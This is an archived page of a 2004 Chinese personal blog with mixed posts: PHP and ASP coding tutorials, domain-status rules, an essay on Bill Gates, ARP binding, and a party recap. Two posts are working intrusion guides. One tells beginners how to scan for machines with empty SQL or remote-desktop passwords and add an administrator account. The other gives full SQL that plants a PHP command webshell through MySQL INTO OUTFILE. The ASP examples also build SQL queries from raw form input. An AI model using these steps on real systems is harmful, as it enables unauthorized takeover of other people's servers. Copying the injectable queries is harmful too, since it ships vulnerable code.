[ 2004/12/17 21:33 | by 网络毛毛虫 ]
$uptypes=array('image/jpg','image/jpeg','image/pjpeg','image/gif');//上传图片文件类型列表
$wFile="a.jpg";//取得文件路径
$waterimg="hq.gif";//水印图片路径
if(in_array($wFile['type'], $uptypes))
{//检查文件类型,若上传的文件为jpg或gif图片则加水印
   if(strstr($wFile['type'],"jp")){ //若上传图片类型为jpg,pjpeg,jpeg,则用imagecreatefromjpeg读取目标文件
    $im = imageCreatefromjpeg($wFile);
 $wfilew=imagesx($im);//取得图片的宽
 $wfileh=imagesy($im);//取得图片的高
   }else{//否则若上传图片类型为gif,则用imagecreatefromgif读取目标文件
    $im = imageCreatefromgif($wFile);
 $wfilew=imagesx($im);//取得图片的宽
 $wfileh=imagesy($im);//取得图片的高
 }
   //设定混合模式
    imagealphablending($im, true);
    //读取水印文件
    $im2 = imagecreatefromgif($waterimg);//若水印图片为jpg,则此去可改为$im2 = imagecreatefromjpeg($waterimg)
 $waterw=imagesx($im2);//取得水印图片的宽
 $waterh=imagesy($im2);//取得水印图片的高
    //随机放水印到图片中
 $randval = rand(0,9);//在0-9之间产生随机数
 if($randval==0||$randval==3||$randval==2||$randval==8||$randval==7){//此处还可完善放更多位置
 $wimgx=5;$wimgy=5;//放左上角
 }else{
 $wimgx=$wfilew-5-$waterw;$wimgy=$wfileh-5-$waterh;//放右上角
 }
 //拷贝水印到目标文件
 imagecopy($im, $im2, $wimgx, $wimgy, 0, 0, $waterw,$waterh);
    
 //输出图片
   if(strstr($wFile['type'],"jp")){ //同上
 imagejpeg($im,$wFile);
 }else{
 imagegif($im,$wFile);
 }
    imagedestroy($im);
    imagedestroy($im2);
}

适合在网吧快速安装,调试程序。。

up/1103275295.exe

[ 2004/12/17 16:57 | by 网络毛毛虫 ]
<%
   语句
   ……
  %>
<2>定义变量dim语句
<%
  dim a,b
  a=10
  b=”ok!”
%>
注意:定义的变量可以是数值型,也可以是字符或者其他类型的
<3>简单的控制流程语句
  1. If 条件1 then
     语句1
elseif 条件2 then
     语句2
else
     语句3
endif
2.while 条件
   语句
  wend
3.for count=1 to n step m
  语句1
  exit for
  语句2
next
二.ASP数据库简单*作教程
<1>.数据库连接(用来单独编制连接文件conn.asp)
<%
  Set conn = Server.CreateObject("ADODB.Connection")
  conn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath
("\bbs\db1\user.mdb")
%>
(用来连接bbs\db1\目录下的user.mdb数据库)
<2>显示数据库记录
  原理:将数据库中的记录一一显示到客户端浏览器,依次读出数据库中的每一条记录
        如果是从头到尾:用循环并判断指针是否到末      使用: not rs.eof
        如果是从尾到头:用循环并判断指针是否到开始    使用:not rs.bof
        
        <!--#include file=conn.asp-->    (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据
库)
        <%
         set rs=server.CreateObject("adodb.recordset")  (建立recordset对象)
         sqlstr="select * from message"  ---->(message为数据库中的一个数据表,即你要显示的
数据所存放的数据表)
         rs.open sqlstr,conn,1,3         ---->(表示打开数据库的方式)
         rs.movefirst                    ---->(将指针移到第一条记录)
         while not rs.eof                ---->(判断指针是否到末尾)
         response.write(rs("name"))      ---->(显示数据表message中的name字段)
         rs.movenext                     ---->(将指针移动到下一条记录)
         wend                            ---->(循环结束)
------------------------------------------------------         
         rs.close
         conn.close                    这几句是用来关闭数据库
         set rs=nothing
         set conn=nothing
-------------------------------------------------------
        %>
       其中response对象是服务器向客户端浏览器发送的信息
<3>增加数据库记录
增加数据库记录用到rs.addnew,rs.update两个函数
        <!--#include file=conn.asp-->    (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据
库)
        <%
         set rs=server.CreateObject("adodb.recordset")  (建立recordset对象)
         sqlstr="select * from message"  ---->(message为数据库中的一个数据表,即你要显示的
数据所存放的数据表)
         rs.open sqlstr,conn,1,3         ---->(表示打开数据库的方式)
         rs.addnew                      新增加一条记录
         rs("name")="xx"                将xx的值传给name字段
         rs.update                      刷新数据库
------------------------------------------------------         
         rs.close
         conn.close                    这几句是用来关闭数据库
         set rs=nothing
         set conn=nothing
-------------------------------------------------------         
                    
        %>
<4>删除一条记录
  删除数据库记录主要用到rs.delete,rs.update
   <!--#include file=conn.asp-->    (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)
        <%
         dim name
         name="xx"
         set rs=server.CreateObject("adodb.recordset")  (建立recordset对象)
         sqlstr="select * from message"  ---->(message为数据库中的一个数据表,即你要显示的
数据所存放的数据表)
         rs.open sqlstr,conn,1,3         ---->(表示打开数据库的方式)
-------------------------------------------------------      
         while not rs.eof
          if rs.("name")=name then
           rs.delete
           rs.update             查询数据表中的name字段的值是否等于变量name的值"xx",如果符
合就执行删除,
          else                   否则继续查询,直到指针到末尾为止
           rs.movenext
          emd if
         wend
------------------------------------------------------
------------------------------------------------------         
         rs.close
         conn.close                    这几句是用来关闭数据库
         set rs=nothing
         set conn=nothing
-------------------------------------------------------
        %>
<5>关于数据库的查询
  (a) 查询字段为字符型
      <%
      dim user,pass,qq,mail,message
      user=request.Form("user")
      pass=request.Form("pass")
      qq=request.Form("qq")
      mail=request.Form("mail")
      message=request.Form("message")
      if trim(user)&"x"="x" or trim(pass)&"x"="x" then     (检测user值和pass值是否为空,可以
检测到空格)
        response.write("注册信息不能为空")
      else
      set rs=server.CreateObject("adodb.recordset")
      sqlstr="select * from user where user='"&user&"'"    (查询user数据表中的user字段其中
user字段为字符型)
      rs.open sqlstr,conn,1,3
      if  rs.eof then
        rs.addnew
        rs("user")=user
        rs("pass")=pass
        rs("qq")=qq
        rs("mail")=mail
        rs("message")=message
        rs.update
        rs.close
        conn.close
        set rs=nothing
        set conn=nothing
        response.write("注册成功")
       end if
      rs.close
      conn.close
      set rs=nothing
      set conn=nothing
      response.write("注册重名")
     %>
  (b)查询字段为数字型
     <%
      dim num
      num=request.Form("num")
      set rs=server.CreateObject("adodb.recordset")
      sqlstr="select * from message where id="&num   (查询message数据表中id字段的值是否与
num相等,其中id为数字型)
      rs.open sqlstr,conn,1,3
      if not rs.eof then
      rs.delete
      rs.update
      rs.close
      conn.close
      set rs=nothing
      set conn=nothing
      response.write("删除成功")
      end if
      rs.close
      conn.close
      set rs=nothing
      set conn=nothing
      response.write("删除失败")
     %>
<6>几个简单的asp对象的讲解
   response对象:服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL,
或设置cookie值
   request对象:客户端向服务器提出的请求
   session对象:作为一个全局变量,在整个站点都生效
   server对象:提供对服务器上方法和属性的访问                                               
(a) response对象的一般使用方法
    比如:
       <%
        resposne.write("hello, welcome to asp!")
       %>
    在客户端浏览器就会看到  hello, welcome to asp! 这一段文字
      <%
response.Redirect("www.sohu.com")
      %>
    如果执行这一段,则浏览器就会自动连接到 “搜狐” 的网址
  关于response对象的用法还有很多,大家可以研究研究
  request对象的一般使用方法
比如客户端向服务器提出的请求就是通过request对象来传递的
列如 :你在申请邮箱的所填写的个人信息就是通过该对象来将
      你所填写的信息传递给服务器的
比如:这是一段表单的代码,这是提供给客户填写信息的,填写完了按
     “提交”传递给request.asp文件处理后再存入服务器数据库
    <form name="form1" method="post" action="request.asp">
      <p>
      <input type="text" name="user">
      </p>
      <p>
      <input type="text" name="pass">
      </p>
      <p>
      <input type="submit" name="Submit" value="提交">
      </p>
</form>
那么request.asp该如何将其中的信息读入,在写入数据库,在这里就要用到
request对象了,下面我们就来分析request.asp的写法
<%
dim name,password    (定义user和password两个变量)
name=request.form(“user”)  (将表单中的user信息传给变量name)
password=request.form(“pass”) (将表单中的pass信息传给变量password)
%>      
通过以上的几句代码我们就将表单中的数据读进来了,接下来我们要做的就是将
信息写入数据库了,写入数据库的方法上面都介绍了,这里就不一一复述了。
(通过上面的学习大家完全可以自己做一个留言版了)
Verisign已经改变域名到期删除的相关规则,具体举例如下:
1:比如域名aaa.com到期时间为2003年03月01日;
2:从2003年03月02日开始,域名的ns将会被系统自动删除,域名无法解析,但我公司会继续保留该域名30天,用户可以在这30天的期限内续费;
3:如果在2所述的30天期限内没有续费,即从2003年03月31日开始,域名将变成RedemptionPeriod状态,该状态将会保持30天,在此期间该域名不会掉下来,但是除了restore命令以外的所有命令对此域名无效;
4:域名在RedemptionPeriod状态下可以restore回来,但每restore一次需要支付(折合)人民币1000元(含一年续费);
5:如果域名在RedemptionPeriod状态下的30天没有restore,从2003.04.29开始域名变成PendingDelete状态(5天),2003年04月04日该域名将会删除。

VeriSign于2003年1月在其Registry Whois (.COM和.NET)中加了3个字段:

Status、Creation Date、Expiration Date

其中 Status 目前发现有8种状态,分别是:

1、ACTIVE:活动状态。由Registry设置;该域名可以由Registrar更改;可以续费;至少被指派一个DNS。

2、REGISTRY-LOCK:注册局锁定。由注册局设置;该域名不可以由注册商更改、删除;必须由注册局解除此状态才可以由注册商更改域名信息;域名可以续费;如果域名被指派至少一个DNS则可以包含在(域名根服务器)的区域中(可以正常使用)。

3、REGISTRY-HOLD:注册局保留。由注册局设置;该域名不可以由注册商更改、删除;必须由注册局解除此状态才可以由注册商更改域名信息;域名可以续费;该域名不包括在(域名根服务器)的区域中(不能正常使用)。

4、REGISTRAR-LOCK:注册商锁定。由该域名的原始注册商设置;该域名不可以被更改或删除;必须由注册商解除此状态才可以更改域名信息;该域名可以续费。该域名包含在(域名根服务器)的区域中(可以正常使用)。

5、REGISTRAR-HOLD:注册商保留。由该域名的原始注册商设置;该域名不可以被更改或删除;必须由注册商解除此状态才可以更改域名信息;该域名可以续费。该域名不包括在(域名根服务器)的区域中(不能正常使用)。

6、REDEMPTIONPERIOD:宽限期。当注册商向注册局提出删除域名请求后,由注册局将域名设置称此状态,不过,条件是该域名已经注册了5天以上(如果该域名注册时间不足5天,则立即删除);该域名不包括在(域名根服务器)的区域中(不能正常使用);该域名不可以被更改或清除,只可以被恢复;任何其他注册商提出对此域名的更改或其他请求都将被拒绝;该状态最多保持30天。

7、PENDINGRESTORE:恢复未决。当注册商提出将处于REDEMPTIONPERIOD的域名恢复请求后,由注册局设置;该域名包含在(域名根服务器)的区域中(可以正常使用);注册商提出的更改或任何其他请求都将被拒绝;在7天之内,有注册商向注册局提供必需的恢复文件,如果注册商在7天之内提供了这些文件,该域名将被置为ACTIVE状态,否则,该域名将重新返回到REDEMPTIONPERIOD状态。

8、PENDINGDELETE:删除未决。如果一个域名在被设置成REDEMPTIONPERIOD状态期间内,注册商没有提出恢复请求,那么,域名将被置于PENDINGDELETE状态,注册商对此域名的任何请求都将被拒绝;5天之后清除。
2004年2月,美国《福布斯》杂志公布:比尔·盖茨以其名下的净资产466亿美元,仍排名世界富翁的首位。

  然而,让人意想不到的是,这位世界首富没有自己的私人司机,公务旅行不坐飞机头等舱却坐经济舱,衣着也不讲究什么名牌;更让人不可思议的是,他还对打折商品感兴趣,不愿为泊车多花几美元……为这点“小钱”,如此斤斤计较,他是不是“现代的阿巴公(吝啬鬼)”?

  可另一面的事实显示,比尔·盖茨并不是那种悭吝的守财奴———比如,微软员工的收入都相当高;比如,为公益和慈善事业一次次捐出大笔善款,他还表示要在自己的有生之年把95%的财产捐出去……

  看来,这位世界首富跟那种“一掷万金、摆谱显阔”的富翁迥然有异。他是不是富者中的“另类”?他对金钱持有怎样的理念和规则?读了这篇文章,我们当会有所了解,或从中悟出些什么。

  衣裳不求名牌 爱买打折商品

  在美琳达刚踏入微软的时候,她就被告知,比尔是个非常特别的人。

  确实比尔是一个与众不同的人,单从他对待金钱的态度上就可以看得出来。对他而言,创业是他人生的旅途,财富是他价值量化的标尺,他曾经说过:“我不是在为钱而工作,钱让我感到很累。”

  “我只是这笔财富的看管人,我需要找到最合适的方式来使用它。”这就是比尔对金钱最真实的看法。

  事实上,钱既不会改变他的生活,也不会使他从工作上分心。他经常告诉那些向他求经的朋友:“当你有了1亿美元的时候,你就会明白钱只不过是一种符号而已。”

  比尔非常讨厌那些喜欢用钱摆阔气的人。他在杂志上发表自己的见解:“如果你已经习惯了过分享受,你将不能再像普通人那样生活,而我希望过普通人的生活。”

  同所有企业家一样,比尔也在进行分散风险的投资,他除了拥有股票与债券外,还进行房地产投资,以及其他行业投资。虽然比尔是个经营天才,但是他从不认为自己的理财更胜一筹,所以他聘请了一位“金管家”———小他十多岁的劳森,比尔除了让他管理自己50亿美元的私人投资外,还让他管理比尔—美琳达慈善基金会的资金。

  比尔总是告诉妻子,自己努力工作并不只是为了钱。对待这笔巨大的财富,他从没有想过要如何享用它们,相反在使用这些钱时却很慎重。他不喜欢因钱改变自己的本色,过着前呼后拥的生活,他更喜欢自由自在地独立与人交往。甚至见到熟人时,还像从前一样热情地与他们打招呼:“哦,你好,让我们去吃个热狗如何?”

  在生活中,比尔也从不用钱来摆阔。一次,他与一位朋友前往希尔顿饭店开会,那次他们迟到了几分钟,所以没有停车位可以容纳他们的汽车。于是他的朋友建议将车停放在饭店的贵客车位。比尔不同意,他的朋友说:“钱可以由我来付。”

在校园网络中,最方便的捣乱方法就是盗用别人的IP地址,被盗用IP地址的计算机不仅不能正常使用校园网络,而且还会频繁出现IP地址被占用的提示对话框,给校园网络安全和用户应用带来极大的隐患。捆绑IP地址和MAC地址就能有效地避免这种现象。

  何为MAC地址

  网卡在使用中有两类地址,一类是大家都熟悉的IP地址,另一类就是MAC地址,即网卡的物理地址,也称硬件地址或链路地址,这是网卡自身的惟一标识,就仿佛是我们的身份证一样,一般不能随意改变。它与网络无关,无论把这个网卡接入到网络的什么地方,MAC地址都是不变的。其长度为48位二进制数,由12个00 ~0FFH的16进制数组成,每个16进制数之间用“-”隔开,如“00-10-5C-AD-72-E3”。

  如何查找MAC地址

  1、在Windows 9x/2000/XP下单击“开始/程序”,找到“MS-DOS方式”或“命令提示符”。

  2、在命令提示符下输入:“Ipconfig/all”,回车后出现如附图所示的对话框,其中的“Physical Address”即是所查的MAC地址。

  

  如何捆绑MAC地址和IP地址

  进入“MS-DOS方式”或“命令提示符”,在命令提示符下输入命令:ARP - s 10.88.56.72 00-10-5C-AD-72-E3,即可把MAC地址和IP地址捆绑在一起。

  这样,就不会出现IP地址被盗用而不能正常使用校园网络的情况(当然也就不会出现错误提示对话框),可以有效保证校园网络的安全和用户的应用。

  注意:ARP命令仅对局域网的上网代理服务器有用,而且是针对静态IP地址,如果采用Modem拨号上网或是动态IP地址就不起作用。ARP命令的各参数的功能如下:

  ARP -s -d -a

  -s:将相应的IP地址与物理地址的捆绑,如本文中的例子。

  -d:删除相应的IP地址与物理地址的捆绑。

  -a:通过查询ARP协议表显示IP地址和对应物理地址情况。
发贴心情 

教你们个快速获得肉鸡的办法(针对菜鸟)

工具:WinntAutoAttack  (使用很简单,如果连这个都琢磨不透我劝你还是别学了。)

SQL综合利用工具  (SQLTools)

用WinntAutoAttack扫描有漏洞的机器,打开前先关了你的杀毒软件和防火墙,还有如果是winxp  pack2 换系统吧!    输入扫描ip开始和结束,选上3389  、  sql   、  空密码 三个选项,其他不选。

扫描出有3389和空密码的机器可是用远程桌面直接连接,有sql秘密为空的用SQL综合利用工具连接上用dos命令输入net user  帐户 密码 /add  这样就建立帐户   net localgroup Administrators 帐户 /add  这样就加如管理员组。下面就可以用你建的帐户用远程桌面登录如果对方是winxp的话你还是放弃吧!winxp只允许一个用户登录。你登录对方就会注销。

[ 2004/12/12 23:34 | by 网络毛毛虫 ]

呵呵,我兄弟今天终于和她两个耍起了。。

我们现在正在寝室庆祝中。。

精英这次腐败活动成功举行。。

下面是出嫁在论坛发的总结帖子

第1楼:2004年论坛腐败活动成果总结会


开头照例形式化一哈:在大D英明的安排下,大家团结在以大D为首的党中央周围下,今天晚上的腐败活动行动圆满的画上句号,绝对没有逗号。。。。

现将今天晚上的战果汇报如下:

2004.12.11下午5点10分,大家非法聚会在工学院校门口。当时离校门只有0.0001公分,根据目击者言“我还以为FLG再现重工”


2004.12.11下午5点24分,ID们进行简单的自我介绍,大家都发出这样的声音“哦,你就是。。。。”。其乐融融。当我看见梅子兔的那一瞬间,我做出了我一生最失败的抉择,伸出了自己的右手“你好,我是看到你出嫁”,本来是趁机吃吃豆腐之类的,好象兔子明白我心思似的,面无表情点点头,又跟旁边的MM交流起来,全无我存在的意思,当时我只想自己的面前出现一把剪刀,我要。。。


2004.12.11下午6点整,全队共计35号人马雄赳赳,气敖敖的跨过鸭绿江。大有视死如归之说


2004.12.11晚8点15分腐败活动正式开始,在这里应该点名批评一下,6号座(就是1111111为席长的那一座先动筷子三分钟),具不知名人士透露,他们那一座大多都是没吃午饭而来的,在这里大家不要吝啬BS他们的语句,尽情批斗,如果说不清楚的,下次出来一定要喝清楚


20004.12.11晚8点半,大家发扬一个不能少的风格,终于等到迟来的雨中阳等一干人,碰了第一杯酒,腐败活动正式拉开序幕,在这里我应该自我批评一下,在开始不久我就喊了一句“小妹,拿碗饭过来,对于这样阳痿的男人,大家应该对我进行马克思理论教育



2004.12.11晚8点45分。D嫂活跃在各座之间,手拿数码咔嚓,咔嚓的记录着我们腐败每一证据,那一刻我们都停留在照片之间,许多年后保证你看见之后,会感慨万千,正是因为D嫂大方的使用数码的缘故,导致电池用完,不得不使论坛草草结局,没来一张大团员,成为本次聚会一大遗憾,大家记住D嫂是我们论坛第六次聚会的历史罪人。(最郁闷的是绿绿苹果绿绿拉MM摆了无数个POSS在我面前,因为电池原因终未果)


2004.12.11晚9时,在夜雨,无罪等人的带动下,开始纷纷敬酒,高潮出现,交杯酒也多次上演兄弟火锅,在一句句不解释的酒词中,千杯酒下肚。在这里应该点名表扬七夜JJ,轮翻敬酒,大有女中豪杰气势,当年的花木兰也不过是是战于千万男儿而扬名天下,而七夜MM是周旋于各大色狼之间而保持贞操不失,不容易啊。。。。。


2004.12.11晚9点14分,酒不在多,有情则行,菜不在好,填肚已可,看大家都高兴了,我英明的大手一挥,“撤”,各路大虾纷纷翩翩踏上回家之路。偶尔阵阵呕吐,惊起路边行人无数。在“88”声中,大家安全的回到寝室,清醒的正坐在电脑边,发泄着酒精的作用。而放爬的人已被“棒棒”免费送回狗窝,现在恐怕正做着南柯一梦。


今晚共消灭老山城啤酒5件,筷子无数,纸斤若干。花费RBM740大洋,为祖国刺激疲软经济,拉动内需。做出了不可磨灭的贡献。后多出5元,没人要,被我们烟鬼贪污天地一包。

放爬一人(雨中裸奔),喝高数人,大D肯定是在其中。最值得称赏的是111111,走到校门便来了个藏族的长头,(藏族人一种对神佛的礼仪,简称五体头地),让我们兄弟纷纷PF不已,在喝酒喝高之后,还能做出如此高难度的动作,的确难得可贵。


本次活动大家认识兄弟无数,姐妹若干。可以说是一次团结的,圆满的腐败活动。



特别要提出的是,在大会之后,无罪,夜雨,纷纷表态喝的不成功,需要再喝,为满足广大群众需要,我在关键时刻挺身而出,招呼夜雨到“联系111111咱们大盘鸡再喝”


111111果是梗直男,在电话结束后2分50秒的时候,跑步出现在我们的面前。精英四大水齐聚离后校门150米的新疆大盘鸡店。在一人干了一杯45度的狗己酒之后(听专家说喝了这玩意能步肾),觉得喝的还是不成功,于是移地再战,并拉出论坛神秘人物一朵花MM出来陪喝。111111在我们摧残下,终于英勇牺牲在串串店店,并呕吐肮脏之物若干,他终于执行了我的名言之一“做为一个男人应该爬在酒桌上”,他做了一个男人可不打紧,可苦了我和无罪两人,气喘西西的扶他回到猪圈。真他妈累


2004.12.11,0点1分,我回到寝室,宣告精英第6次外出腐败活动圆满的画上感叹号。

对今天晚上英勇牺牲的人们,说声“大家高兴就好”
对今天晚上有事不能来的ID,说声“希望下次能够在一起开心”
对今天晚上腐败活动做出贡献的人们,说声“辛苦你们了”


[ Last edited by 看到你出嫁 on 2004-12-12 at 05:10 ]

这次美中不足就是大D受伤了。。其实多厉害的。昨天晚上到现在姐姐、我、小B、袁轶都非常的累。

今天下午陪大D去了医院,打了针~~~呵呵,其实大D萎的时候很可爱。^_^·~~~~傻呼呼的。

[ 2004/12/10 00:45 | by 网络毛毛虫 ]
许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:\mysql\bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:\mysql\bin>

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\">&nbsp;</p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:\new\cmd2.php。然后删除tmp这个我们创建的table。这里的d:\new的目录是该机器的web目录。然后我们就可以在浏览器中输入http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。
 
分页: 37/47 第一页 上页 32 33 34 35 36 37 38 39 40 41 下页 最后页 [ 显示模式: 摘要 | 列表